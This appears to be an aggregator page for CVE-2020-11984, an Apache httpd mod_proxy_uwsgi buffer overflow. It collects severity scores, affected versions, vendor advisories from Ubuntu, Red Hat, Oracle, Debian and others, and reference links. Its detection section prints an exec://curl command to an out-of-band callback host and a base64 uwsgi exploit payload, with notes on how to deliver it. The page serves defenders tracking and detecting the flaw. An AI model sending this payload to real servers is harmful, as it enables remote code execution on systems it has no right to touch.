CVE-2020-11984
published 2020-08-07CVE-2020-11984: Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
PriorityP187critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
90.04%
99.8th percentile
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
Affected
23 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | http_server | 2.4.32 – 2.4.43 | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| debian | apache2 | < apache2 2.4.46-1 (bookworm) | apache2 2.4.46-1 (bookworm) |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | uwsgi | < apache2 2.4.46-1 (bookworm) | apache2 2.4.46-1 (bookworm) |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| msrc | cm1_httpd_2.4.46-5_on_cbl_mariner_1.0 | — | — |
| opensuse | leap | — | — |
| opensuse | leap | — | — |
| oracle | communications_element_manager | 8.2.0 – 8.2.2 | — |
| oracle | communications_session_report_manager | 8.2.0 – 8.2.2 | — |
| oracle | communications_session_route_manager | 8.2.0 – 8.2.2 | — |
| oracle | enterprise_manager_ops_center | — | — |
| oracle | hyperion_infrastructure_technology | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | zfs_storage_appliance_kit | — | — |
| paloalto | pan-os | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandexec://curl <oast-host>; echo ""
path/penetrate
otherUWSGI_FILEK (uwsgi protocol header key used in exploit payload)
otherSCRIPT_NAME (uwsgi protocol header key used in exploit payload)
bytes
AHIAAAoAVVdTR0lfRklMRUsAZXhlYzovL2N1cmwgYWFhYWFhYWEuZmw0NGhoY240NHEydWtsdjI5YnB6dTR1amxwY2QzM3JzLm9hc3RpZnkuY29tOyBlY2hvICIiCwBTQ1JJUFRfTkFNRQoAL3BlbmV0cmF0ZQ==
- →Exploit sends a crafted POST request with a binary uwsgi protocol payload in the body to the proxied endpoint. The payload encodes uwsgi headers including UWSGI_FILEK with an exec:// value (RCE vector) and SCRIPT_NAME set to /penetrate. Content-Type is application/x-www-form-urlencoded.
- →Successful RCE can be confirmed via out-of-band HTTP callback containing 'User-Agent: curl', triggered by the exec://curl command embedded in the uwsgi UWSGI_FILEK header.
- →The exploit payload is a 54-byte-padded uwsgi binary frame. Detection should look for oversized or malformed uwsgi protocol frames proxied through mod_proxy_uwsgi, particularly those exceeding 16K of HTTP headers. ↗
- →Vulnerability is only exploitable when mod_proxy_uwsgi is loaded. Presence of 'LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so' in httpd config is a prerequisite for exposure. ↗
- →Affected Apache HTTP Server versions are 2.4.32 through 2.4.44. Shodan/asset-inventory query: cpe:"cpe:2.3:a:apache:http_server" can help identify exposed instances.
- ·Vulnerability only affects Apache HTTP Server configurations that use the uwsgi protocol via mod_proxy_uwsgi. Systems not using this module are not affected. ↗
- ·Red Hat Enterprise Linux 5, 6, and 7 ship versions of httpd that are not affected by this CVE. ↗
- ·On Ubuntu, the CVE-2020-11984 impact (large header mishandling in mod_proxy_uwsgi) only affected Ubuntu 20.04 LTS. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vulncheck9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_msrc9.8CRITICAL
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Palo Alto
PAN-SA-2024-0004 Informational Bulletin: OSS CVEs fixed in PAN-OS
vendor_paloalto·2024-04-10·CVSS 9.8
CVE-2015-5739 [CRITICAL] PAN-SA-2024-0004 Informational Bulletin: OSS CVEs fixed in PAN-OS
PAN-SA-2024-0004 Informational Bulletin: OSS CVEs fixed in PAN-OS
The Palo Alto Networks Product Security Assurance team has evaluated the following open source software (OSS) CVEs as they relate to PAN-OS. While it was not determined that these CVEs have any significant impact on PAN-OS, they have been fixed out of an abundance of caution. CVE Summary CVE-2015-5739 This CVE is fixed in PAN-OS 11.0.4, and all later PAN-OS versions. CVE-2016-10228 This CVE is fixed in PAN-OS 11.1.3, and all later PAN-OS versions. CVE-2017-8923 This CVE is fixed in PAN-OS 10.2.8, 11.0.3, and all later PAN-OS versions. CVE-2017-9120 This CVE is fixed in PAN-OS 10.2.8, 11.0.3, and all later PAN-OS versions. CVE-2018-25009 This CVE is fixed in PAN-OS 10.2.8, 11.0.4, 11.1.3, and all later PAN-OS versions. CVE-2
Ubuntu
uWSGI vulnerability
vendor_ubuntu·2021-09-03
CVE-2020-11984 uWSGI vulnerability
Title: uWSGI vulnerability
Summary: uWSGI could be made to crash if it received specially crafted
input.
USN-5054-1 fixed a vulnerability in uWSGI for Ubuntu 18.04 LTS. This update
provides the corresponding fixes for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.
Original advisory details:
Felix Wilhelm discovered a buffer overflow flaw in the mod_proxy_uwsgi module.
An attacker could use this vulnerability to provoke an information disclosure
or potentially remote code execution.
Instructions: In general, a standard system update will make all the necessary changes.
Ubuntu
uWSGI vulnerability
vendor_ubuntu·2021-08-30
CVE-2020-11984 uWSGI vulnerability
Title: uWSGI vulnerability
Summary: uWSGI could be made to crash if it received specially crafted
input.
Felix Wilhelm discovered a buffer overflow flaw in the mod_proxy_uwsgi module.
An attacker could use this vulnerability to provoke an information disclosure
or potentially remote code execution.
Instructions: In general, a standard system update will make all the necessary changes.
Oracle
Oracle Oracle Enterprise Manager Risk Matrix: Control Proxy (Apache HTTP Server) — CVE-2020-11984
vendor_oracle·2021-01-15·CVSS 9.8
CVE-2020-11984 [CRITICAL] Oracle Oracle Enterprise Manager Risk Matrix: Control Proxy (Apache HTTP Server) — CVE-2020-11984
Oracle Oracle Enterprise Manager Risk Matrix: Control Proxy (Apache HTTP Server) vulnerability
CVE: CVE-2020-11984
CVSS: 9.8
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpujan2021 (JAN 2021)
Oracle
Oracle Oracle Communications Risk Matrix: Core (Apache HTTP Server) — CVE-2020-11984
vendor_oracle·2020-10-15·CVSS 9.8
CVE-2020-11984 [CRITICAL] Oracle Oracle Communications Risk Matrix: Core (Apache HTTP Server) — CVE-2020-11984
Oracle Oracle Communications Risk Matrix: Core (Apache HTTP Server) vulnerability
CVE: CVE-2020-11984
CVSS: 9.8
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpuoct2020 (OCT 2020)
Ubuntu
Apache HTTP Server vulnerabilities
vendor_ubuntu·2020-08-13·CVSS 9.8
CVE-2020-9490 [CRITICAL] Apache HTTP Server vulnerabilities
Title: Apache HTTP Server vulnerabilities
Summary: Several security issues were fixed in Apache HTTP Server.
Fabrice Perez discovered that the Apache mod_rewrite module incorrectly
handled certain redirects. A remote attacker could possibly use this issue
to perform redirects to an unexpected URL. (CVE-2020-1927)
Chamal De Silva discovered that the Apache mod_proxy_ftp module incorrectly
handled memory when proxying to a malicious FTP server. A remote attacker
could possibly use this issue to obtain sensitive information.
(CVE-2020-1934)
Felix Wilhelm discovered that the HTTP/2 implementation in Apache did not
properly handle certain Cache-Digest headers. A remote attacker could
possibly use this issue to cause Apache to crash, resulting in a denial of
service. This issue only affected
Microsoft
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
vendor_msrc·2020-08-11·CVSS 9.8
CVE-2020-11984 [CRITICAL] CWE-120 Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
FAQ: Is Azure Linux the only Microsoft product that includes this open-source library and is therefore potentially affected by this vulnerability?
One of the main benefits to our customers who choose to use the Azure Linux distro is the commitment to keep it up to date with the most recent and most secure versions of the open source libraries with which the distro is composed. Microsoft is committed to transparency in this work which is why we began publishing CSAF/VEX in October 2025. See this blog post for more information. If impact to additional products is identified, we will update the CVE to reflect this.
Mariner: Mariner
apache: apache
Customer Action Required: Yes
Remediation: CBL-Mariner Rel
Red Hat
httpd: mod_proxy_uwsgi buffer overflow
vendor_redhat·2020-08-07·CVSS 9.8
CVE-2020-11984 [CRITICAL] CWE-119 httpd: mod_proxy_uwsgi buffer overflow
httpd: mod_proxy_uwsgi buffer overflow
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
A flaw was found in Apache httpd in versions 2.4.32 to 2.4.46. The uwsgi protocol does not serialize more than 16K of HTTP header leading to resource exhaustion and denial of service. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Statement: Red Hat Enterprise Linux 5, 6, and 7 do not ship the vulnerable version of httpd and, thus, are not affected.
Mitigation: This flaw only affects specific httpd configurations which use the uwsgi protocol. It does not manifest itself when uwsgi protocol is not used. Commenting out "LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so" in /etc/httpd/conf.mo
Debian
CVE-2020-11984: apache2 - Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible...
vendor_debian·2020·CVSS 9.8
CVE-2020-11984 [CRITICAL] CVE-2020-11984: apache2 - Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible...
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
Scope: local
bookworm: resolved (fixed in 2.4.46-1)
bullseye: resolved (fixed in 2.4.46-1)
forky: resolved (fixed in 2.4.46-1)
sid: resolved (fixed in 2.4.46-1)
trixie: resolved (fixed in 2.4.46-1)
GHSA
GHSA-7fcg-7xhc-3997: Apache HTTP server 2
ghsa_unreviewed·2022-05-24
CVE-2020-11984 [HIGH] CWE-120 GHSA-7fcg-7xhc-3997: Apache HTTP server 2
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
OSV
apache2 vulnerabilities
osv·2020-08-13·CVSS 9.8
CVE-2020-1927 [CRITICAL] apache2 vulnerabilities
apache2 vulnerabilities
Fabrice Perez discovered that the Apache mod_rewrite module incorrectly
handled certain redirects. A remote attacker could possibly use this issue
to perform redirects to an unexpected URL. (CVE-2020-1927)
Chamal De Silva discovered that the Apache mod_proxy_ftp module incorrectly
handled memory when proxying to a malicious FTP server. A remote attacker
could possibly use this issue to obtain sensitive information.
(CVE-2020-1934)
Felix Wilhelm discovered that the HTTP/2 implementation in Apache did not
properly handle certain Cache-Digest headers. A remote attacker could
possibly use this issue to cause Apache to crash, resulting in a denial of
service. This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.
(CVE-2020-9490)
Felix Wilhelm discovered that
OSV
CVE-2020-11984: Apache HTTP server 2
osv·2020-08-07·CVSS 9.8
CVE-2020-11984 [CRITICAL] CVE-2020-11984: Apache HTTP server 2
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
VulnCheck
Apache HTTP Server Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
vulncheck·2020·CVSS 9.8
CVE-2020-11984 [CRITICAL] Apache HTTP Server Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Apache HTTP Server Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE
Affected: Apache HTTP Server
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.trendmicro.com/en_us/research/22/b/recent-cyberattacks-open-source-web-servers.html
Exploit PoC: https://vulncheck.com/xdb/9f4dd9acdf55
No detection rules found.
Nuclei
Apache HTTP Server - Remote Code Execution
nuclei·CVSS 9.8
CVE-2020-11984 [CRITICAL] Apache HTTP Server - Remote Code Execution
Apache HTTP Server - Remote Code Execution
Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.
Template:
id: CVE-2020-11984
info:
name: Apache HTTP Server - Remote Code Execution
author: [email protected],pszyszkowski,pdresearch,iamnoooob
severity: critical
description: |
Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.
impact: |
A
Bugzilla
CVE-2020-11984 httpd: mod_proxy_uswgi buffer overflow [fedora-all]
bugzilla·2020-08-11·CVSS 9.8
CVE-2020-11984 [CRITICAL] CVE-2020-11984 httpd: mod_proxy_uswgi buffer overflow [fedora-all]
CVE-2020-11984 httpd: mod_proxy_uswgi buffer overflow [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported versions of Fedora.
Bugzilla
CVE-2020-11984 httpd: mod_proxy_uwsgi buffer overflow
bugzilla·2020-08-05·CVSS 9.8
CVE-2020-11984 [CRITICAL] CVE-2020-11984 httpd: mod_proxy_uwsgi buffer overflow
CVE-2020-11984 httpd: mod_proxy_uwsgi buffer overflow
A flaw was found in httpd before version 2.4.46. The uwsgi protocol does not let us serialize more than 16K of HTTP header leading to resource exhaustion and denial of service.
Upstream patch:
http://svn.apache.org/viewvc?view=revision&revision=1880251
Discussion:
Acknowledgments:
Name: the Apache project
---
This vulnerability is out of security support scope for the following product:
* Red Hat JBoss Enterprise Web Server 2
Please refer to https://access.redhat.com/support/policy/updates/jboss_notes for more details.
---
Created httpd tracking bugs for this issue:
Affects: fedora-all [bug 1868148]
---
External References:
https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2020-11984
---
Statement:
Red Hat
Trendmicro
Cyberangriffe auf Open Source-Webserver
blogs_trendmicro·2022-03-03·CVSS 9.8
[CRITICAL] Cyberangriffe auf Open Source-Webserver
APT und gezielte Angriffe
## Cyberangriffe auf Open Source-Webserver
Cyberangriffe auf Open-Source-Webserver wie Apache HTTP Server haben rapide zugenommen. Angriffe wie die Ausführung von Remote-Code, die Umgehung von Zugriffskontrollen, Denial-of-Service oder Cyberjacking dienen dem Mining von Kryptowährungen.
By: Jon Clay Mar 03, 2022 Read time: ( words)
Save to Folio
Originalartikel von Jon Clay, VP, Threat Intelligence
Cyberangriffe auf Open-Source-Webserver wie Apache HTTP Server haben rapide zugenommen. Böswillige Akteure setzen dabei auf Angriffe wie Remote Code Execution (RCE), Umgehung der Zugriffskontrolle, Denial of Service (DoS) oder sogar Cyberjacking, um auf den Servern der Opfer Kryptowährungen zu schürfen. Um Unternehmen vor bösartigen Aktivitäten zu schützen, bedarf
Trendmicro
Recent Cyberattacks Increasingly Target Open-source Web Servers
blogs_trendmicro·2022-02-22·CVSS 9.8
CVE-2021-44228 [CRITICAL] Recent Cyberattacks Increasingly Target Open-source Web Servers
APT & Targeted Attacks
# Recent Cyberattacks Target Open-source Web Servers
Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution, access control bypass, denial of service, or even cyberjacking the victim servers to mine cryptocurrencies.
By: Jon Clay
2022/02/22
Read time: ( words)
Save to Folio
As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising. Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution (RCE), access control bypass, denial of service (DoS), or even cyberjacking the victim servers to mine cryptocurrencies.
To protect enterprises against m
http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00068.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-08/msg00071.htmlhttp://packetstormsecurity.com/files/159009/Apache2-mod_proxy_uwsgi-Incorrect-Request-Handling.htmlhttp://www.openwall.com/lists/oss-security/2020/08/08/1http://www.openwall.com/lists/oss-security/2020/08/08/10http://www.openwall.com/lists/oss-security/2020/08/08/8http://www.openwall.com/lists/oss-security/2020/08/08/9http://www.openwall.com/lists/oss-security/2020/08/10/5http://www.openwall.com/lists/oss-security/2020/08/17/2https://httpd.apache.org/security/vulnerabilities_24.htmlhttps://lists.apache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r09bb998baee74a2c316446bd1a41ae7f8d7049d09d9ff991471e8775%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r2c6083f6a2027914a0f5b54e2a1f4fa98c03f8693b58460911818255%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r34753590ae8e3f2b6af689af4fe84269b592f5fda9f3244fd9abbce8%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r3c5c3104813c1c5508b55564b66546933079250a46ce50eee90b2e36%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r5debe8f82728a00a4a68bc904dd6c35423bdfc8d601cfb4579f38bf1%40%3Cdev.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r623de9b2b2433a87f3f3a15900419fc9c00c77b26936dfea4060f672%40%3Cdev.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf71eb428714374a6f9ad68952e23611ec7807b029fd6a1b4f5f732d9%40%3Ccvs.httpd.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2020/09/msg00001.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/A2RN46PRBJE7E7OPD4YZX5SVWV5QKGV5/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HYVYE2ZERFXDV6RMKK3I5SDSDQLPSEIQ/https://security.gentoo.org/glsa/202008-04https://security.netapp.com/advisory/ntap-20200814-0005/https://usn.ubuntu.com/4458-1/https://www.debian.org/security/2020/dsa-4757https://www.oracle.com/security-alerts/cpujan2021.htmlhttps://www.oracle.com/security-alerts/cpuoct2020.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-08/msg00068.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-08/msg00071.htmlhttp://packetstormsecurity.com/files/159009/Apache2-mod_proxy_uwsgi-Incorrect-Request-Handling.htmlhttp://www.openwall.com/lists/oss-security/2020/08/08/1http://www.openwall.com/lists/oss-security/2020/08/08/10http://www.openwall.com/lists/oss-security/2020/08/08/8http://www.openwall.com/lists/oss-security/2020/08/08/9http://www.openwall.com/lists/oss-security/2020/08/10/5http://www.openwall.com/lists/oss-security/2020/08/17/2https://httpd.apache.org/security/vulnerabilities_24.htmlhttps://lists.apache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r09bb998baee74a2c316446bd1a41ae7f8d7049d09d9ff991471e8775%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r2c6083f6a2027914a0f5b54e2a1f4fa98c03f8693b58460911818255%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r34753590ae8e3f2b6af689af4fe84269b592f5fda9f3244fd9abbce8%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r3c5c3104813c1c5508b55564b66546933079250a46ce50eee90b2e36%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r5debe8f82728a00a4a68bc904dd6c35423bdfc8d601cfb4579f38bf1%40%3Cdev.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r623de9b2b2433a87f3f3a15900419fc9c00c77b26936dfea4060f672%40%3Cdev.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf71eb428714374a6f9ad68952e23611ec7807b029fd6a1b4f5f732d9%40%3Ccvs.httpd.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2020/09/msg00001.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/A2RN46PRBJE7E7OPD4YZX5SVWV5QKGV5/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HYVYE2ZERFXDV6RMKK3I5SDSDQLPSEIQ/https://security.gentoo.org/glsa/202008-04https://security.netapp.com/advisory/ntap-20200814-0005/https://usn.ubuntu.com/4458-1/https://www.debian.org/security/2020/dsa-4757https://www.oracle.com/security-alerts/cpujan2021.htmlhttps://www.oracle.com/security-alerts/cpuoct2020.html
2020-08-07
Published
Exploited in the wild